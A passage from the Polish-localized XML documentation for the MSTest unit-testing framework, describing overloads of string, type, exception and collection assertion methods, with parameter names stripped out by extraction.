ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określony obiekt jest wystąpieniem oczekiwanego - typu, i zgłasza wyjątek, jeśli oczekiwany typ nie należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu powinien być określonego typu. - - - Oczekiwany typ elementu . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt jest wystąpieniem oczekiwanego - typu, i zgłasza wyjątek, jeśli oczekiwany typ nie należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu powinien być określonego typu. - - - Oczekiwany typ elementu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest wystąpieniem typu . Komunikat - jest wyświetlony w wynikach testu. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt jest wystąpieniem oczekiwanego - typu, i zgłasza wyjątek, jeśli oczekiwany typ nie należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu powinien być określonego typu. - - - Oczekiwany typ elementu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest wystąpieniem typu . Komunikat - jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt nie jest wystąpieniem nieprawidłowego - typu, i zgłasza wyjątek, jeśli podany typ należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu nie powinien być określonego typu. - - - Element nie powinien być tego typu. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt nie jest wystąpieniem nieprawidłowego - typu, i zgłasza wyjątek, jeśli podany typ należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu nie powinien być określonego typu. - - - Element nie powinien być tego typu. - - - Komunikat do dołączenia do wyjątku, gdy element - jest wystąpieniem typu . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt nie jest wystąpieniem nieprawidłowego - typu, i zgłasza wyjątek, jeśli podany typ należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu nie powinien być określonego typu. - - - Element nie powinien być tego typu. - - - Komunikat do dołączenia do wyjątku, gdy element - jest wystąpieniem typu . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Zgłasza wyjątek AssertFailedException. - - - Always thrown. - - - - - Zgłasza wyjątek AssertFailedException. - - - Komunikat do dołączenia do wyjątku. Komunikat jest wyświetlony - w wynikach testu. - - - Always thrown. - - - - - Zgłasza wyjątek AssertFailedException. - - - Komunikat do dołączenia do wyjątku. Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Always thrown. - - - - - Zgłasza wyjątek AssertInconclusiveException. - - - Always thrown. - - - - - Zgłasza wyjątek AssertInconclusiveException. - - - Komunikat do dołączenia do wyjątku. Komunikat jest wyświetlony - w wynikach testu. - - - Always thrown. - - - - - Zgłasza wyjątek AssertInconclusiveException. - - - Komunikat do dołączenia do wyjątku. Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Always thrown. - - - - - Statyczne przeciążenia metody equals są używane do porównywania wystąpień dwóch typów pod kątem - równości odwołań. Ta metoda nie powinna być używana do porównywania dwóch wystąpień pod kątem - równości. Ten obiekt zawsze będzie zgłaszał wyjątek za pomocą metody Assert.Fail. Użyj metody - Assert.AreEqual i skojarzonych przeciążeń w testach jednostkowych. - - Obiekt A - Obiekt B - Zawsze wartość false. - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Element wykonywanie delegata. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek AssertFailedException, jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Element wykonywanie delegata. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek AssertFailedException, jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Tablica parametrów do użycia podczas formatowania elementu . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Element wykonywanie delegata. - - - - - Zastępuje znaki null („\0”) ciągiem „\\0”. - - - Ciąg do wyszukania. - - - Przekonwertowany ciąg ze znakami null zastąpionymi ciągiem „\\0”. - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Funkcja pomocnicza, która tworzy i zgłasza wyjątek AssertionFailedException - - - nazwa asercji zgłaszającej wyjątek - - - komunikat opisujący warunki dla błędu asercji - - - Parametry. - - - - - Sprawdza parametry pod kątem prawidłowych warunków - - - Parametr. - - - Nazwa asercji. - - - nazwa parametru - - - komunikat dla wyjątku nieprawidłowego parametru - - - Parametry. - - - - - Bezpiecznie konwertuje obiekt na ciąg, obsługując wartości null i znaki null. - Wartości null są konwertowane na ciąg „(null)”. Znaki null są konwertowane na ciąg „\\0”. - - - Obiekt do przekonwertowania na ciąg. - - - Przekonwertowany ciąg. - - - - - Asercja ciągu. - - - - - Pobiera pojedyncze wystąpienie funkcji CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, czy określony ciąg zawiera podany podciąg, - i zgłasza wyjątek, jeśli podciąg nie występuje - w testowanym ciągu. - - - Ciąg, który powinien zawierać ciąg . - - - Ciąg, którego wystąpienie jest oczekiwane w ciągu . - - - Thrown if is not found in - . - - - - - Testuje, czy określony ciąg zawiera podany podciąg, - i zgłasza wyjątek, jeśli podciąg nie występuje - w testowanym ciągu. - - - Ciąg, który powinien zawierać ciąg . - - - Ciąg, którego wystąpienie jest oczekiwane w ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie znajduje się w ciągu . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not found in - . - - - - - Testuje, czy określony ciąg zawiera podany podciąg, - i zgłasza wyjątek, jeśli podciąg nie występuje - w testowanym ciągu. - - - Ciąg, który powinien zawierać ciąg . - - - Ciąg, którego wystąpienie jest oczekiwane w ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie znajduje się w ciągu . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not found in - . - - - - - Testuje, czy określony ciąg rozpoczyna się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie rozpoczyna się - podciągiem. - - - Ciąg, którego oczekiwany początek to . - - - Ciąg, który powinien być prefiksem ciągu . - - - Thrown if does not begin with - . - - - - - Testuje, czy określony ciąg rozpoczyna się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie rozpoczyna się - podciągiem. - - - Ciąg, którego oczekiwany początek to . - - - Ciąg, który powinien być prefiksem ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie zaczyna się ciągiem . Komunikat - jest wyświetlony w wynikach testu. - - - Thrown if does not begin with - . - - - - - Testuje, czy określony ciąg rozpoczyna się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie rozpoczyna się - podciągiem. - - - Ciąg, którego oczekiwany początek to . - - - Ciąg, który powinien być prefiksem ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie zaczyna się ciągiem . Komunikat - jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if does not begin with - . - - - - - Testuje, czy określony ciąg kończy się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie kończy się - podciągiem. - - - Ciąg, którego oczekiwane zakończenie to . - - - Ciąg, który powinien być sufiksem ciągu . - - - Thrown if does not end with - . - - - - - Testuje, czy określony ciąg kończy się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie kończy się - podciągiem. - - - Ciąg, którego oczekiwane zakończenie to . - - - Ciąg, który powinien być sufiksem ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie kończy się ciągiem . Komunikat - jest wyświetlony w wynikach testu. - - - Thrown if does not end with - . - - - - - Testuje, czy określony ciąg kończy się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie kończy się - podciągiem. - - - Ciąg, którego oczekiwane zakończenie to . - - - Ciąg, który powinien być sufiksem ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie kończy się ciągiem . Komunikat - jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if does not end with - . - - - - - Testuje, czy określony ciąg pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg nie pasuje do wyrażenia. - - - Ciąg, który powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg ma - pasować. - - - Thrown if does not match - . - - - - - Testuje, czy określony ciąg pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg nie pasuje do wyrażenia. - - - Ciąg, który powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg ma - pasować. - - - Komunikat do dołączenia do wyjątku, gdy element - nie pasuje do wzorca . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if does not match - . - - - - - Testuje, czy określony ciąg pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg nie pasuje do wyrażenia. - - - Ciąg, który powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg ma - pasować. - - - Komunikat do dołączenia do wyjątku, gdy element - nie pasuje do wzorca . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if does not match - . - - - - - Testuje, czy określony ciąg nie pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg pasuje do wyrażenia. - - - Ciąg, który nie powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg nie - powinien pasować. - - - Thrown if matches . - - - - - Testuje, czy określony ciąg nie pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg pasuje do wyrażenia. - - - Ciąg, który nie powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg nie - powinien pasować. - - - Komunikat do dołączenia do wyjątku, gdy element - dopasowania . Komunikat jest wyświetlony w wynikach - testu. - - - Thrown if matches . - - - - - Testuje, czy określony ciąg nie pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg pasuje do wyrażenia. - - - Ciąg, który nie powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg nie - powinien pasować. - - - Komunikat do dołączenia do wyjątku, gdy element - dopasowania . Komunikat jest wyświetlony w wynikach - testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if matches . - - - - - Kolekcja klas pomocniczych na potrzeby testowania różnych warunków skojarzonych - z kolekcjami w ramach testów jednostkowych. Jeśli testowany warunek - nie jest spełniony, zostanie zgłoszony wyjątek. - - - - - Pobiera pojedyncze wystąpienie funkcji CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, czy określona kolekcja zawiera podany element, - i zgłasza wyjątek, jeśli element nie znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który powinien należeć do kolekcji. - - - Thrown if is not found in - . - - - - - Testuje, czy określona kolekcja zawiera podany element, - i zgłasza wyjątek, jeśli element nie znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który powinien należeć do kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - nie znajduje się w ciągu . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not found in - . - - - - - Testuje, czy określona kolekcja zawiera podany element, - i zgłasza wyjątek, jeśli element nie znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który powinien należeć do kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - nie znajduje się w ciągu . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not found in - . - - - - - Testuje, czy określona kolekcja nie zawiera podanego elementu, - i zgłasza wyjątek, jeśli element znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który nie powinien należeć do kolekcji. - - - Thrown if is found in - . - - - - - Testuje, czy określona kolekcja nie zawiera podanego elementu, - i zgłasza wyjątek, jeśli element znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który nie powinien należeć do kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - znajduje się w kolekcji . Komunikat jest wyświetlony w wynikach - testu. - - - Thrown if is found in - . - - - - - Testuje, czy określona kolekcja nie zawiera podanego elementu, - i zgłasza wyjątek, jeśli element znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który nie powinien należeć do kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - znajduje się w kolekcji . Komunikat jest wyświetlony w wynikach - testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is found in - . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji mają wartości inne niż null, i zgłasza - wyjątek, jeśli którykolwiek element ma wartość null. - - - Kolekcja, w której mają być wyszukiwane elementy o wartości null. - - - Thrown if a null element is found in . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji mają wartości inne niż null, i zgłasza - wyjątek, jeśli którykolwiek element ma wartość null. - - - Kolekcja, w której mają być wyszukiwane elementy o wartości null. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera element o wartości null. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if a null element is found in . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji mają wartości inne niż null, i zgłasza - wyjątek, jeśli którykolwiek element ma wartość null. - - - Kolekcja, w której mają być wyszukiwane elementy o wartości null. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera element o wartości null. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if a null element is found in . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji są unikatowe, - i zgłasza wyjątek, jeśli dowolne dwa elementy w kolekcji są równe. - - - Kolekcja, w której mają być wyszukiwane zduplikowane elementy. - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji są unikatowe, - i zgłasza wyjątek, jeśli dowolne dwa elementy w kolekcji są równe. - - - Kolekcja, w której mają być wyszukiwane zduplikowane elementy. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera co najmniej jeden zduplikowany element. Komunikat jest wyświetlony w - wynikach testu. - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji są unikatowe, - i zgłasza wyjątek, jeśli dowolne dwa elementy w kolekcji są równe. - - - Kolekcja, w której mają być wyszukiwane zduplikowane elementy. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera co najmniej jeden zduplikowany element. Komunikat jest wyświetlony w - wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, czy dana kolekcja stanowi podzbiór innej kolekcji, - i zgłasza wyjątek, jeśli dowolny element podzbioru znajduje się także - w nadzbiorze. - - - Kolekcja powinna być podzbiorem . - - - Kolekcja powinna być nadzbiorem - - - Thrown if an element in is not found in - . - - - - - Testuje, czy dana kolekcja stanowi podzbiór innej kolekcji, - i zgłasza wyjątek, jeśli dowolny element podzbioru znajduje się także - w nadzbiorze. - - - Kolekcja powinna być podzbiorem . - - - Kolekcja powinna być nadzbiorem - - - Komunikat do uwzględnienia w wyjątku, gdy elementu w - nie można odnaleźć w . - Komunikat jest wyświetlany w wynikach testu. - - - Thrown if an element in is not found in - . - - - - - Testuje, czy dana kolekcja stanowi podzbiór innej kolekcji, - i zgłasza wyjątek, jeśli dowolny element podzbioru znajduje się także - w nadzbiorze. - - - Kolekcja powinna być podzbiorem . - - - Kolekcja powinna być nadzbiorem - - - Komunikat do uwzględnienia w wyjątku, gdy elementu w - nie można odnaleźć w . - Komunikat jest wyświetlany w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if an element in is not found in - . - - - - - Testuje, czy jedna kolekcja nie jest podzbiorem innej kolekcji, - i zgłasza wyjątek, jeśli wszystkie elementy w podzbiorze znajdują się również - w nadzbiorze. - - - Kolekcja nie powinna być podzbiorem . - - - Kolekcja nie powinna być nadzbiorem - - - Thrown if every element in is also found in - . - - - - - Testuje, czy jedna kolekcja nie jest podzbiorem innej kolekcji, - i zgłasza wyjątek, jeśli wszystkie elementy w podzbiorze znajdują się również - w nadzbiorze. - - - Kolekcja nie powinna być podzbiorem . - - - Kolekcja nie powinna być nadzbiorem - - - Komunikat do uwzględnienia w wyjątku, gdy każdy element w kolekcji - znajduje się również w kolekcji . - Komunikat jest wyświetlany w wynikach testu. - - - Thrown if every element in is also found in - . - - - - - Testuje, czy jedna kolekcja nie jest podzbiorem innej kolekcji, - i zgłasza wyjątek, jeśli wszystkie elementy w podzbiorze znajdują się również - w nadzbiorze. - - - Kolekcja nie powinna być podzbiorem . - - - Kolekcja nie powinna być nadzbiorem - - - Komunikat do uwzględnienia w wyjątku, gdy każdy element w kolekcji - znajduje się również w kolekcji . - Komunikat jest wyświetlany w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if every element in is also found in - . - - - - - Testuje, czy dwie kolekcje zawierają te same elementy, i zgłasza - wyjątek, jeśli któraś z kolekcji zawiera element niezawarty w drugiej - kolekcji. - - - Pierwsza kolekcja do porównania. Zawiera elementy oczekiwane przez - test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, czy dwie kolekcje zawierają te same elementy, i zgłasza - wyjątek, jeśli któraś z kolekcji zawiera element niezawarty w drugiej - kolekcji. - - - Pierwsza kolekcja do porównania. Zawiera elementy oczekiwane przez - test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do uwzględnienia w wyjątku, gdy element został odnaleziony - w jednej z kolekcji, ale nie ma go w drugiej. Komunikat jest wyświetlany - w wynikach testu. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, czy dwie kolekcje zawierają te same elementy, i zgłasza - wyjątek, jeśli któraś z kolekcji zawiera element niezawarty w drugiej - kolekcji. - - - Pierwsza kolekcja do porównania. Zawiera elementy oczekiwane przez - test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do uwzględnienia w wyjątku, gdy element został odnaleziony - w jednej z kolekcji, ale nie ma go w drugiej. Komunikat jest wyświetlany - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, czy dwie kolekcje zawierają różne elementy, i zgłasza - wyjątek, jeśli dwie kolekcje zawierają identyczne elementy bez względu - na porządek. - - - Pierwsza kolekcja do porównania. Zawiera elementy, co do których test oczekuje, - że będą inne niż rzeczywista kolekcja. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany 